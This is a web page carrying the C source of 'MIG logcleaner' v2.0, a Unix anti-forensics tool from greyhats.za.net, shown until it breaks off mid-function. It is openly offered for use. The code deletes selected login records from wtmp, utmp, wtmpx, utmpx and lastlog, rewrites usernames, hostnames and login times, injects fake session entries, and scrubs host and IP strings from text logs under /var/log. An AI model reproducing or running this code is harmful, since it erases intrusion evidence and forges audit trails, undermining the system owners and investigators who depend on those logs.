MIG logcleaner

MIG logcleaner by no1 (greyhats.za.net)


This log cleaner removes logs from utmp, wtmp, utmpx, wtmpx, lastlog files. Also removes 2 specified text strings out of every file in a specified directory. Also lets you modify entries as you wish. Also lets you add new entries.

code

/****************
name            :       mig-logcleaner.c
 
version         :       2.0
                        1.0 - first version
                        1.1 - fixed up old bugs and added utmpx/wtmpx support
                        1.2 - fixed "find" problem
                        1.3 - wasn't working on sun. fixed (fscking mess!!!)
                        1.4 - changed shell scripting part
			1.5 - rewrote all thing to support BSD
                              also added '-r' option to replace
			      hostname entries in logs
			1.6 - added username replacement capability
			1.7 - added login/out time changing capability
			1.8 - added capability of injecting entries into wtmp/x file
			2.0 - recoded all this from 0 and fixed lots of fuckups
 
creation date   :       17th of January 2001
 
last updated    :       9th of October 2002
 
author          :       no1 ( greyhats.za.net )
 
description     :       log cleaner that cleans wtmp, wtmpx,
                        utmp, utmpx, lastlog
                        and all log files in /var/log type dir
                        tested on linux(x86), sun(sparc) and bsd(x86)
 
usage           :       tar zxvf mig-logcleaner.tar.gz ; cd mig-logcleaner ; make
			details in readme.mig
 
extra           :       ya ya ya, i know there r thousand of log
                        cleaners out there...  the only reason i
                        coded this is because i needed a cleaner that
                        lets you specify which record specificaly you
                        want to be removed. donno any log cleaner that
                        does that... plus this tool automaticaly
                        removes strings like <host name> and <ip>
                        out of non-binary files in /var/log type
                        of dirs where all logs are kept.
                        an now it also supports changing usernames & hostnames 
			in records or even adding new records. 
			if you have any comments or ideas,
                        mail me at no1@greyhats.za.net or msg me at
                        http://greyhats.za.net/guestbook/
****************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <pwd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#ifdef LINUX
#include <paths.h>
#include <utmp.h>
#include <utmpx.h>
#include <lastlog.h>
#define UTMP UTMP_FILE
#define WTMP WTMP_FILE
#define LASTLOG _PATH_LASTLOG
#endif
#ifdef SUN
#include <utmp.h>
#include <utmpx.h>
#include <lastlog.h>
#include <strings.h>
#define UTMP UTMP_FILE
#define WTMP WTMP_FILE
#define LASTLOG "/var/adm/lastlog"
#define UTMPX UTMPX_FILE
#define WTMPX WTMPX_FILE
#endif
#ifdef BSD
#include <utmp.h>
#define UTMP _PATH_UTMP
#define WTMP _PATH_WTMP
#define LASTLOG _PATH_LASTLOG
#endif
int                      usage(char *arg);
int                      count_records(char *u, int a, int d);
int                      utmp_clean(char *u, int n, int tota, int d);
int                      utmpx_clean(char *u, int n, int tota, int d);
int                      lastlog_clean(char *u, int d, char *h, char *t, long i, int n);
int                      replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d);
int                      addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d);
int                      txt_clean(char *D, char *a, char *b, int d);
static char             *lastlog_hostname = 0;
static char             *lastlog_time = 0;
static char             *lastlog_tty = 0;
int                      c = 1, l = 0;
int main(int argc, char **argv)
{
  char                     opt;
  char                     user[16];
  char                     dir[256];
  char                     string1[256];
  char                     string2[256];
  char                     new_user[16];
  char                     new_tty[16];
  char                     new_host[256];
  char                     ll_h[256];
  char                     ll_i[256];
  char                     ll_t[256];
  long                     new_login = 0;
  long                     new_logout = 0;
  int                      replace = 0;
  int                      add = 0;
  int                      record = (-1);
  int                      total1 = 0;
  int                      total2 = 0;
  int                      debug = 0;
  int                      user_check = 0;
  int                      dir_check = 0;
  int                      new_check = 0;
  int                      open_check1 = 0;
#ifdef SUN
  int                      open_check2 = 0;
#endif
  int                      flag = 0;
  bzero(user, sizeof(user));
  bzero(dir, sizeof(dir));
  bzero(string1, sizeof(string1));
  bzero(string2, sizeof(string2));
  bzero(new_user, sizeof(new_user));
  bzero(new_tty, sizeof(new_tty));
  bzero(new_host, sizeof(new_host));
  bzero(ll_h, sizeof(ll_h));
  bzero(ll_i, sizeof(ll_i));
  bzero(ll_t, sizeof(ll_t));
#ifdef SUN
  strcpy(dir, "/var/adm/");
#endif
#ifndef SUN
  strcpy(dir, "/var/log/");
#endif
  while((opt = getopt(argc, argv, "u:n:D:a:b:U:T:H:I:O:RAd")) != -1)
  {
    switch (opt)
    {
      case 'u':
      {
	strcpy(user, optarg);
	user_check++;
	break;
      }
      case 'n':
      {
	record = atoi(optarg);
	break;
      }
      case 'D':
      {
	bzero(dir, sizeof(dir));
	strcpy(dir, optarg);
	dir_check++;
	break;
      }
      case 'a':
      {
	strcpy(string1, optarg);
	flag++;
	break;
      }
      case 'b':
      {
	strcpy(string2, optarg);
	flag++;
	break;
      }
      case 'U':
      {
	strcpy(new_user, optarg);
	new_check++;
	break;
      }
      case 'T':
      {
	strcpy(new_tty, optarg);
	new_check++;
	break;
      }
      case 'H':
      {
	strcpy(new_host, optarg);
	new_check++;
	break;
      }
      case 'I':
      {
	new_login = atol(optarg);
	new_check++;
	break;
      }
      case 'O':
      {
	new_logout = atol(optarg);
	new_check++;
	break;
      }
      case 'R':
      {
	replace++;
	break;
      }
      case 'A':
      {
	add++;
	break;
      }
      case 'd':
      {
	debug++;
	break;
      }
    }
  }
  if((user_check == 0 && add == 0 && dir_check == 0 && flag == 0) || (replace == 1 && add == 1) || (add == 1 && new_check != 5) || (replace == 1 && user_check == 0) || (replace == 1 && new_check == 0)
     || (replace == 1 && record == 0) || (dir_check == 1 && flag == 0))
  {
    usage(argv[0]);
    exit(0);
  }
  printf("\n******************************\n");
  printf("* MIG Logcleaner v2.0 by no1 *\n");
  printf("******************************\n\n");
  if(record == (-1))
  {
    record = 1;
  }
  if(user[0] != 0)
    total1 = count_records(user, 1, debug);
  if(total1 == (-1))
  {
    if(debug == 1)
      fprintf(stderr, "Error opening %s file to count records\n", WTMP);
    open_check1++;
  }
  if(open_check1 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total1))
  {
    utmp_clean(user, record, total1, debug);
  }
#ifdef SUN
  if(user[0] != 0)
    total2 = count_records(user, 2, debug);
  if(total2 == (-1))
  {
    if(debug == 1)
      fprintf(stderr, "Error opening %s file to count records\n", WTMPX);
    open_check2++;
  }
  if(open_check2 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total2))
  {
    utmpx_clean(user, record, total2, debug);
  }
#endif
  if(replace == 1 && (record <= total1)
#ifdef SUN
     && (record <= total2)
#endif
    )
  {
    if(l == 1)
    {
      strcpy(ll_h, lastlog_hostname);
      strcpy(ll_i, lastlog_time);
      strcpy(ll_t, lastlog_tty);
    }
    replase(user, record, total1, total2, new_user, new_host, new_login, new_logout, debug);
  }
  if(add == 1)
  {
    if(user[0] != 0 && (record > total1)
#ifdef SUN
       && (record > total2)
#endif
      )
    {
      usage(argv[0]);
      exit(0);
    }
    addd(user, record, total1, total2, new_user, new_tty, new_host, new_login, new_logout, debug);
  }
  if((record == 1 || record == 0) && add == 0)
  {
    if(l == 1)
    {
      strcpy(ll_h, lastlog_hostname);
      strcpy(ll_i, lastlog_time);
      strcpy(ll_t, lastlog_tty);
    }
    lastlog_clean(user, debug, ll_h, ll_t, atol(ll_i), record);
  }
  if(flag != 0)
  {
    txt_clean(dir, string1, string2, debug);
  }
  printf("\n");
  return (0);
}
int count_records(char *u, int a, int d)
{
  int                      fd;
  int                      counter = 0;
#ifdef SUN
  if(a == 2)
  {
    struct utmpx             utmpx_record;
    if((fd = open(WTMPX, O_RDWR)) == -1)
    {
      return (-1);
    }
    while(read(fd, (char *) &utmpx_record, sizeof(utmpx_record)))
    {
      if(!strcmp(utmpx_record.ut_name, u))
      {
	if(utmpx_record.ut_type != 8)
	{
	  counter++;
	}
      }
    }
    fprintf(stdout, "[0x%d] %d entries \"%s\" detected in %s\n", c++, counter, u, WTMPX);
  }
#endif
  if(a == 1)
  {
    struct utmp              utmp_record;
    if((fd = open(WTMP, O_RDWR)) == -1)
    {
      return (-1);
    }
    while(read(fd, (char *) &utmp_record, sizeof(utmp_record)))
    {
      if(!strcmp(utmp_record.ut_name, u))
      {
#ifndef BSD
	if(utmp_record.ut_type != 8)
#endif
	  counter++;
      }
    }
    fprintf(stdout, "[0x%d] %d users \"%s\" detected in %s\n", c++, counter, u, WTMP);
  }
  close(fd);
  return counter;
}
int utmp_clean(char *u, int n, int tota, int d)
{
  struct utmp              utmp_record;
  struct utmp              wtmp_record;
  int                      fd1, fd2;
  int                      counter = 0;
#ifndef BSD
  int                      pid;
#endif
  char                     line[32];
  char                     host[256];
  char                     command[256];
#ifdef BSD
  long                     time;
#endif
  bzero(line, sizeof(line));
  bzero(host, sizeof(host));
  bzero(command, sizeof(command));
  if((fd1 = open(WTMP, O_RDWR)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening %s file\n", WTMP);
    exit(-1);
  }
  if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n");
    exit(-1);
  }
  lseek(fd1, 0, SEEK_SET);
  lseek(fd2, 0, SEEK_SET);
  while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record))
  {
    if((!strcmp(wtmp_record.ut_name, u))
#ifndef BSD
       && (wtmp_record.ut_type != 8)
#endif
      )
    {
      counter++;
      if(counter == (tota + 1 - n))
      {
	if(n != 0)
	  fprintf(stdout, "[0x%d] Removed \"%s\" entry #%d from %s\n", c++, u, n, WTMP);
#ifndef BSD
	pid = wtmp_record.ut_pid;
	strcpy(line, wtmp_record.ut_line);
#ifndef SUN
	strcpy(host, wtmp_record.ut_host);
#endif
#endif
#ifdef BSD
	time = wtmp_record.ut_time;
	strcpy(line, wtmp_record.ut_line);
#endif
      }
      else
      {
	if(counter == (tota - n))
	{
	  char                     length[16];
	  l++;
	  bzero(length, sizeof(length));
#ifndef SUN
	  lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1);
	  strcpy(lastlog_tty, wtmp_record.ut_line);
	  lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1);
	  strcpy(lastlog_hostname, wtmp_record.ut_host);
	  sprintf(length, "%ld", wtmp_record.ut_time);
	  lastlog_time = (char *) malloc(strlen(length) + 1);
#ifdef LINUX
	  sprintf(lastlog_time, "%ld", wtmp_record.ut_tv.tv_sec);
#else
	  sprintf(lastlog_time, "%ld", wtmp_record.ut_time);
#endif
#endif
 
	}
	if(n != 0)
	{
	  write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
	}
      }
    }
    else
    {
      write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
    }
  }
  close(fd1);
  close(fd2);
  if(n == 0 && counter != 0)
    fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, WTMP);
  counter = 0;
  if((fd1 = open(UTMP, O_RDWR)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening %s file\n", UTMP);
    exit(-1);
  }
  if((fd2 = open("/tmp/UTMP.TMP", O_RDWR | O_CREAT)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening /tmp/UTMP.TMP file\n");
  }
  lseek(fd1, 0, SEEK_SET);
  lseek(fd2, 0, SEEK_SET);
  while(read(fd1, (char *) &utmp_record, sizeof(utmp_record)) == sizeof(utmp_record))
  {
    if(!strcmp(utmp_record.ut_name, u))
    {
      counter++;
#ifndef BSD
      if((pid == utmp_record.ut_pid) && (!strcmp(utmp_record.ut_line, line))
#ifndef SUN
	 && (!strcmp(utmp_record.ut_host, host))
#endif
	)
      {
	if(n != 0)
	  fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMP);
      }
#endif
#ifdef BSD
      if((time == utmp_record.ut_time) && (!strcmp(utmp_record.ut_line, line)))
      {
	if(n != 0)
	  fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMP);
      }
#endif
      else
      {
	if(n != 0)
	{
	  write(fd2, (char *) &utmp_record, sizeof(utmp_record));
	}
      }
    }
    else
    {
      write(fd2, (char *) &utmp_record, sizeof(utmp_record));
    }
  }
  close(fd1);
  close(fd2);
  if(n == 0 && counter != 0)
    fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMP);
  sprintf(command, "mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s", WTMP, UTMP, WTMP, UTMP);
  system(command);
  return (0);
}
#ifdef SUN
int utmpx_clean(char *u, int n, int tota, int d)
{
  struct utmpx             utmpx_record;
  struct utmpx             wtmpx_record;
  int                      fd1, fd2;
  int                      counter = 0;
  int                      pid;
  char                     line[32];
  char                     host[256];
  char                     command[256];
  bzero(line, sizeof(line));
  bzero(host, sizeof(host));
  bzero(command, sizeof(command));
  if((fd1 = open(WTMPX, O_RDWR)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening %s file\n", WTMPX);
    exit(-1);
  }
  if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n");
    exit(-1);
  }
  lseek(fd1, 0, SEEK_SET);
  lseek(fd2, 0, SEEK_SET);
  while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record)))
  {
    if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8))
    {
      counter++;
      if(counter == (tota + 1 - n))
      {
	if(n != 0)
	  fprintf(stdout, "[0x%d] Removed \"%s\" entry #%d from %s\n", c++, u, n, WTMPX);
	pid = wtmpx_record.ut_pid;
	strcpy(line, wtmpx_record.ut_line);
	strcpy(host, wtmpx_record.ut_host);
      }
      else
      {
	if(counter == (tota - n))
	{
	  char                     length[16];
	  l++;
	  bzero(length, sizeof(length));
	  lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1);
	  strcpy(lastlog_tty, wtmpx_record.ut_line);
	  lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1);
	  strcpy(lastlog_hostname, wtmpx_record.ut_host);
	  sprintf(length, "%ld", wtmpx_record.ut_tv.tv_sec);
	  lastlog_time = (char *) malloc(strlen(length) + 1);
	  sprintf(lastlog_time, "%ld", wtmpx_record.ut_tv.tv_sec);
	}
	if(n != 0)
	{
	  write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
	}
      }
    }
    else
    {
      write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
    }
  }
  close(fd1);
  close(fd2);
  if(n == 0)
    fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, WTMPX);
  counter = 0;
  if((fd1 = open(UTMPX, O_RDWR)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening %s file\n", UTMPX);
    exit(-1);
 
  }
  if((fd2 = open("/tmp/UTMPX.TMP", O_RDWR | O_CREAT)) == -1)
  {
    if(d == 1)
      fprintf(stderr, "Error opening /tmp/UTMPX.TMP file\n");
    exit(-1);
  }
  lseek(fd1, 0, SEEK_SET);
  lseek(fd2, 0, SEEK_SET);
  while(read(fd1, (char *) &utmpx_record, sizeof(utmpx_record)))
  {
    if((!strcmp(utmpx_record.ut_name, u)))
    {
      counter++;
      if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, line)) && (!strcmp(utmpx_record.ut_host, host)))
      {
	if(n != 0)
	  fprintf(stdout, "[0x%d] Removed \"%s\" coresponding entry from %s\n", c++, u, UTMPX);
      }
      else
      {
	if(n != 0)
	{
	  write(fd2, (char *) &utmpx_record, sizeof(utmpx_record));
	}
      }
    }
    else
    {
      write(fd2, (char *) &utmpx_record, sizeof(utmpx_record));
    }
  }
  close(fd1);
  close(fd2);
  if(n == 0)
    fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMPX);
  sprintf(command, "mv /tmp/WTMPX.TMP %s;mv /tmp/UTMPX.TMP %s;chmod 644 %s %s", WTMPX, UTMPX, WTMPX, UTMPX);
  system(command);
  return (0);
}
#endif
 
int lastlog_clean(char *u, int d, char *h, char *t, long i, int n)
{
  struct passwd           *password;
  struct lastlog           last;
  int                      fd;
  bzero((char *) &last, sizeof(last));
  if((password = getpwnam(u)))
  {
    if((fd = open(LASTLOG, O_RDWR)) >= 0)
    {
      lseek(fd, (long) password->pw_uid * sizeof(struct lastlog), 0);
      //read(fd,(char *)&lastlog,sizeof(lastlog));
      if(l == 1 && n != 0)
      {
	memcpy(last.ll_host, h, sizeof(last.ll_host));
	memcpy(last.ll_line, t, sizeof(last.ll_line));
	last.ll_time = i;
      }
      fprintf(stdout, "[0x%d] Changing \"%s\" coresponding entry in %s\n", c++, u, LASTLOG);
      //lseek(fd,-(sizeof(struct lastlog)),SEEK_CUR);
      write(fd, (char *) &last, sizeof(last));
      close(fd);
    }
  }
  return (0);
}
int replase(char *u, int n, int tota1, int tota2, char *U, char *H, long I, long O, int d)
{
  struct utmp              utmp_record;
  struct utmp              wtmp_record;
#ifndef BSD
  struct timeval           tv_start;
  struct timeval           tv_end;
  int                      pid;
#endif
#ifdef BSD
  struct timespec          tv_start;
  struct timespec          tv_end;
#endif
#ifdef SUN
  struct utmpx             utmpx_record;
  struct utmpx             wtmpx_record;
#endif
  int                      fd1, fd2;
  int                      counter = 0;
  int                      replace_check = 0;
  char                     line[32];
  char                     host[256];
  char                     command[256];
#ifdef BSD
  long                     time;
  tv_start.tv_sec = I;
  tv_start.tv_nsec = 0;
  tv_end.tv_sec = O;
  tv_end.tv_nsec = 0;
#else
  tv_start.tv_sec = I;
  tv_start.tv_usec = 0;
  tv_end.tv_sec = O;
  tv_end.tv_usec = 0;
#endif
  bzero(line, sizeof(line));
  bzero(host, sizeof(host));
  bzero(command, sizeof(command));
  if(tota1 != (-1))
  {
    if((fd1 = open(WTMP, O_RDWR)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening %s file\n", WTMP);
      exit(-1);
    }
    if((fd2 = open("/tmp/WTMP.TMP", O_RDWR | O_CREAT)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening /tmp/WTMP.TMP file\n");
      exit(-1);
    }
    lseek(fd1, 0, SEEK_SET);
    lseek(fd2, 0, SEEK_SET);
    while(read(fd1, (char *) &wtmp_record, sizeof(wtmp_record)) == sizeof(wtmp_record))
    {
      if((!strcmp(wtmp_record.ut_name, u))
#ifndef BSD
	 && (wtmp_record.ut_type != 8)
#endif
	)
      {
	counter++;
	if(counter == (tota1 + 1 - n))
	{
	  replace_check++;
	  fprintf(stdout, "[0x%d] Replaced \"%s\" entry #%d from %s\n", c++, u, n, WTMP);
#ifndef BSD
	  pid = wtmp_record.ut_pid;
	  strcpy(line, wtmp_record.ut_line);
#ifndef SUN
	  strcpy(host, wtmp_record.ut_host);
#endif
#endif
#ifdef BSD
	  time = wtmp_record.ut_time;
	  strcpy(line, wtmp_record.ut_line);
	  strcpy(host, wtmp_record.ut_host);
#endif
	  if(U[0] != 0)
	  {
	    bzero(wtmp_record.ut_name, sizeof(wtmp_record.ut_name));
	    strcpy(wtmp_record.ut_name, U);
	  }
#ifndef SUN
	  if(H[0] != 0)
	  {
	    bzero(wtmp_record.ut_host, sizeof(wtmp_record.ut_host));
	    strcpy(wtmp_record.ut_host, H);
	  }
#endif
	  if(I != 0)
	  {
#ifdef LINUX
	    wtmp_record.ut_tv.tv_sec = tv_start.tv_sec;
#else
	    wtmp_record.ut_time = tv_start.tv_sec;
#endif
	  }
	  write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
	}
	else
	{
	  if(counter == (tota1 - n))
	  {
	    char                     length[16];
	    l++;
	    bzero(length, sizeof(length));
#ifndef SUN
	    lastlog_tty = (char *) malloc(strlen(wtmp_record.ut_line) + 1);
	    strcpy(lastlog_tty, wtmp_record.ut_line);
	    lastlog_hostname = (char *) malloc(strlen(wtmp_record.ut_host) + 1);
	    strcpy(lastlog_hostname, wtmp_record.ut_host);
	    sprintf(length, "%ld", wtmp_record.ut_time);
	    lastlog_time = (char *) malloc(strlen(length) + 1);
#ifdef LINUX
	    sprintf(lastlog_time, "%ld", wtmp_record.ut_tv.tv_sec);
#else
	    sprintf(lastlog_time, "%ld", wtmp_record.ut_time);
#endif
#endif
	  }
	  write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
	}
      }
      else
      {
	if((replace_check == 1) && (!strcmp(wtmp_record.ut_line, line))
#ifndef BSD
	   && (wtmp_record.ut_type == 8)
#endif
	  )
	{
	  replace_check--;
	  if(O != 0)
	  {
#ifdef LINUX
	    wtmp_record.ut_tv.tv_sec = tv_end.tv_sec;
#else
	    wtmp_record.ut_time = tv_end.tv_sec;
#endif
	  }
	}
	write(fd2, (char *) &wtmp_record, sizeof(wtmp_record));
      }
    }
    close(fd1);
    close(fd2);
    counter = 0;
    replace_check = 0;
    if((fd1 = open(UTMP, O_RDWR)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening %s file\n", UTMP);
      exit(-1);
    }
    if((fd2 = open("/tmp/UTMP.TMP", O_RDWR | O_CREAT)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening /tmp/UTMP.TMP file\n");
    }
    lseek(fd1, 0, SEEK_SET);
    lseek(fd2, 0, SEEK_SET);
    while(read(fd1, (char *) &utmp_record, sizeof(utmp_record)) == sizeof(utmp_record))
    {
      if(!strcmp(utmp_record.ut_name, u))
      {
	counter++;
#ifndef BSD
	if((pid == utmp_record.ut_pid) &&
#else
	if((time == utmp_record.ut_time) &&
#endif
	   (!strcmp(utmp_record.ut_line, line))
#ifdef LINUX
	   && (!strcmp(utmp_record.ut_host, host))
#endif
	  )
	{
	  replace_check++;
	  fprintf(stdout, "[0x%d] Replaced \"%s\" coresponding entry from %s\n", c++, u, UTMP);
	  if(U[0] != 0)
	  {
	    bzero(utmp_record.ut_name, sizeof(utmp_record.ut_name));
	    strcpy(utmp_record.ut_name, U);
	  }
#ifndef SUN
	  if(H[0] != 0)
	  {
	    bzero(utmp_record.ut_host, sizeof(utmp_record.ut_host));
	    strcpy(utmp_record.ut_host, H);
	  }
#endif
	  if(I != 0)
	  {
#ifdef LINUX
	    utmp_record.ut_tv.tv_sec = tv_start.tv_sec;
#else
	    utmp_record.ut_time = tv_start.tv_sec;
#endif
	  }
	  write(fd2, (char *) &utmp_record, sizeof(utmp_record));
	}
	else
	{
	  write(fd2, (char *) &utmp_record, sizeof(utmp_record));
	}
      }
      else
      {
	if((replace_check == 1) && (!strcmp(utmp_record.ut_line, line))
#ifndef BSD
	   && (utmp_record.ut_type == 8)
#endif
	  )
	{
	  replace_check--;
	  if(O != 0)
	  {
#ifdef LINUX
	    utmp_record.ut_tv.tv_sec = tv_end.tv_sec;
#else
	    utmp_record.ut_time = tv_end.tv_sec;
#endif
	  }
	}
	write(fd2, (char *) &utmp_record, sizeof(utmp_record));
      }
    }
    close(fd1);
    close(fd2);
    replace_check = 0;
    sprintf(command, "mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s", WTMP, UTMP, WTMP, UTMP);
    system(command);
  }
#ifdef SUN
  l = 0;
  if(tota2 != (-1))
  {
    if((fd1 = open(WTMPX, O_RDWR)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening %s file\n", WTMPX);
      exit(-1);
    }
    if((fd2 = open("/tmp/WTMPX.TMP", O_RDWR | O_CREAT)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening /tmp/WTMPX.TMP file\n");
      exit(-1);
    }
    lseek(fd1, 0, SEEK_SET);
    lseek(fd2, 0, SEEK_SET);
    while(read(fd1, (char *) &wtmpx_record, sizeof(wtmpx_record)))
    {
      if((!strcmp(wtmpx_record.ut_name, u)) && (wtmpx_record.ut_type != 8))
      {
	counter++;
	if(counter == (tota2 + 1 - n))
	{
	  replace_check++;
	  fprintf(stdout, "[0x%d] Replaced \"%s\" entry #%d from %s\n", c++, u, n, WTMPX);
	  pid = wtmpx_record.ut_pid;
	  strcpy(line, wtmpx_record.ut_line);
	  strcpy(host, wtmpx_record.ut_host);
	  if(U[0] != 0)
	  {
	    bzero(wtmpx_record.ut_name, sizeof(wtmpx_record.ut_name));
	    strcpy(wtmpx_record.ut_name, U);
	  }
	  if(H[0] != 0)
	  {
	    bzero(wtmpx_record.ut_host, sizeof(wtmpx_record.ut_host));
	    strcpy(wtmpx_record.ut_host, H);
	  }
	  if(I != 0)
	  {
	    wtmpx_record.ut_tv.tv_sec = tv_start.tv_sec;
	  }
	  write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
	}
	else
	{
	  if(counter == (tota2 - n))
	  {
	    char                     length[16];
	    l++;
	    bzero(length, sizeof(length));
	    lastlog_tty = (char *) malloc(strlen(wtmpx_record.ut_line) + 1);
	    strcpy(lastlog_tty, wtmpx_record.ut_line);
	    lastlog_hostname = (char *) malloc(strlen(wtmpx_record.ut_host) + 1);
	    strcpy(lastlog_hostname, wtmpx_record.ut_host);
	    sprintf(length, "%ld", wtmpx_record.ut_tv.tv_sec);
	    lastlog_time = (char *) malloc(strlen(length) + 1);
	    sprintf(lastlog_time, "%ld", wtmpx_record.ut_tv.tv_sec);
	  }
	  write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
	}
      }
      else
      {
	if((replace_check == 1) && (!strcmp(wtmpx_record.ut_line, line)) && (wtmpx_record.ut_type == 8))
	{
	  replace_check--;
	  if(O != 0)
	  {
	    wtmpx_record.ut_tv.tv_sec = tv_end.tv_sec;
	  }
	}
	write(fd2, (char *) &wtmpx_record, sizeof(wtmpx_record));
      }
    }
    close(fd1);
    close(fd2);
    counter = 0;
    replace_check = 0;
    if((fd1 = open(UTMPX, O_RDWR)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening %s file\n", UTMPX);
      exit(-1);
 
    }
    if((fd2 = open("/tmp/UTMPX.TMP", O_RDWR | O_CREAT)) == -1)
    {
      if(d == 1)
	fprintf(stderr, "Error opening /tmp/UTMPX.TMP file\n");
      exit(-1);
    }
    lseek(fd1, 0, SEEK_SET);
    lseek(fd2, 0, SEEK_SET);
    while(read(fd1, (char *) &utmpx_record, sizeof(utmpx_record)))
    {
      if((!strcmp(utmpx_record.ut_name, u)))
      {
	counter++;
	if((pid == utmpx_record.ut_pid) && (!strcmp(utmpx_record.ut_line, line)) && (!strcmp(utmpx_record.ut_host, host)))
	{
	  replace_check++;
	  fprintf(stdout, "[0x%d] Replaced \"%s\" coresponding entry from %s\n", c++, u, UTMPX);
	  if(U[0] != 0)
	  {
	    bzero(utmpx_record.ut_name, sizeof(utmpx_record.ut_name));
	    strcpy(utmpx_record.ut_name, U);
	  }
	  if(H[0] != 0)
	  {
	    bzero(utmpx_record.ut_host, sizeof(utmpx_record.ut_host));
	    strcpy(utmpx_record.ut_host, H);
	  }
	  if(I != 0)
	  {
	    utmpx_record.ut_tv.tv_sec = tv_start.tv_sec;
	  }
	  write(fd2, (char *) &utmpx_record, sizeof(utmpx_record));
	}
	else
	{
	  if(n != 0)
	  {
	    write(fd2, (char *) &utmpx_record, sizeof(utmpx_record));
	  }
	}
      }
      else
      {
	if((replace_check == 1) && (!strcmp(utmpx_record.ut_line, line)) && (utmpx_record.ut_type == 8))
	{
	  replace_check = 0;
	  if(O != 0)
	  {
	    utmpx_record.ut_tv.tv_sec = tv_end.tv_sec;
	  }
	}
	write(fd2, (char *) &utmpx_record, sizeof(utmpx_record));
      }
    }
    close(fd1);
    close(fd2);
    if(n == 0)
      fprintf(stdout, "[0x%d] Removed %d entries of user \"%s\" from %s\n", c++, counter, u, UTMPX);
    sprintf(command, "mv /tmp/WTMPX.TMP %s;mv /tmp/UTMPX.TMP %s;chmod 644 %s %s", WTMPX, UTMPX, WTMPX, UTMPX);
    system(command);
  }
#endif
  return (0);
}
int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d)
{
  struct utmp              wtmp_record;
  struct utmp              new_wtmp_in_record;
  struct utmp              new_wtmp_out_record;
#ifdef SUN
  struct utmpx             wtmpx_record;
  struct utmpx             new_wtmpx_in_record;
  struct utmpx             new_wtmpx_out_record;
#endif
  int                      fd1;
  int                      fd2;
  int                      counter = 0;
  int                      check = 0;
  char                     command[256];
  bzero(command, sizeof(command));
  // Create new entries
#ifndef BSD
  new_wtmp_in_record.ut_type = 7;
  new_wtmp_in_record.ut_pid = 0;
  new_wtmp_in_record.ut_exit.e_termination = 0;
  new_wtmp_in_record.ut_exit.e_exit = 0;
#ifndef SUN
  new_wtmp_in_record.ut_session = 0;
  new_wtmp_in_record.ut_tv.tv_sec = I;
  new_wtmp_in_record.ut_tv.tv_usec = 0;
#else
  new_wtmp_in_record.ut_time = I;
#endif
  strcpy(new_wtmp_in_record.ut_user, U);
  strcpy(new_wtmp_in_record.ut_line, T);
#ifndef SUN
  strcpy(new_wtmp_in_record.ut_host, H);
#endif
  new_wtmp_out_record.ut_type = 8;
  new_wtmp_out_record.ut_pid = 0;
  new_wtmp_out_record.ut_exit.e_termination = 0;
  new_wtmp_out_record.ut_exit.e_exit = 0;
#ifndef SUN
  new_wtmp_out_record.ut_session = 0;
  new_wtmp_out_record.ut_tv.tv_sec = O;
  new_wtmp_out_record.ut_tv.tv_usec = 0;
#else
  new_wtmp_out_record.ut_time = O;
#endif
  strcpy(new_wtmp_out_record.ut_user, U);
  strcpy(new_wtmp_out_record.ut_line, T);
#ifndef SUN
  strcpy(new_wtmp_out_record.ut_host, H);
#endif
#endif
#ifdef BSD
  new_wtmp_in_record.ut_time = I;
  strcpy(new_wtmp_in_record.ut_name, U);
  strcpy(new_wtmp_in_record.ut_line, T);
